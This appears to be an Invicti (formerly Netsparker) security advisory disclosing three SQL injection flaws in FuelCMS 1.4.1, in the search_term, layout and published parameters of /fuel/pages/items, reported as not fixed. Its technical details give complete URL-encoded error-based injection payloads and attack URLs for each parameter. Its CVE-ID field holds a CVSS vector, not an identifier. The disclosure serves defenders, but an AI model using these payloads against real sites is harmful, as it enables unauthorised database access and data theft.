SQL Injection Vulnerabilities in FuelCMS 1.4.1

Information

Advisory by Netsparker (now Invicti)
Name: SQL Injections in FuelCMS 1.4.1
Affected Software: FuelCMS
Affected Versions: 1.4.1
Homepage: https://www.getfuelcms.com/
Vulnerability: SQL Injections
Severity: Critical
Status: Not Fixed
CVE-ID: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS Score (3.0): 10.0
Invicti Advisory Reference: NS-18-018

Vulnerabilities Tree

SQL Injection

  1. /fuel/pages/items (GET = search_term)
  2. /fuel/pages/items (GET = layout)
  3. /fuel/pages/items (GET = published)

Technical Details

SQL Injection in /fuel/pages/items (GET = search_term)
URL: http://{domain}/{fuelcms_path}/fuel/pages/items?search_term=-1%22%20and%206%3d3%20or%201%3d1%2b(SELECT%201%20and%20ROW(1%2c1)%3e(SELECT%20COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.COLLATIONS%20GROUP%20BY%20x)a)%2b%22&layout=&search=Search&view_type=list&offset=3&order=asc&col=location&fuel_inline=3&published=yes&limit=50
Parameter Name: search_term
Parameter Type: GET
Attack Pattern: -1%22+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%22

SQL Injection in /fuel/pages/items (GET = layout)
URL: http://{domain}/{fuelcms_path}/fuel/pages/items?search_term=&layout=-1%22%20and%206%3d3%20or%201%3d1%2b(SELECT%201%20and%20ROW(1%2c1)%3e(SELECT%20COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.COLLATIONS%20GROUP%20BY%20x)a)%2b%22&search=Search&view_type=list&offset=3&order=asc&col=location&fuel_inline=3&published=yes&limit=50
Parameter Name: layout
Parameter Type: GET
Attack Pattern: -1%22+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%22

SQL Injection in /fuel/pages/items (GET = published)
URL: http://{domain}/{fuelcms_path}/fuel/pages/items?search_term=&layout=&search=Search&view_type=list&offset=3&order=asc&col=location&fuel_inline=3&published=-1%22%20and%206%3d3%20or%201%3d1%2b(SELECT%201%20and%20ROW(1%2c1)%3e(SELECT%20COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.COLLATIONS%20GROUP%20BY%20x)a)%2b%22&limit=50
Parameter Name: published
Parameter Type: GET
Attack Pattern: -1%22+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%22

For more information on SQL Injection vulnerabilities read the section SQL injection.

Advisory Timeline

23rd October 2017 – First Contact
29th November 2018 – Advisory Released

Credits & Authors

These issues have been discovered by Omer Citak while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.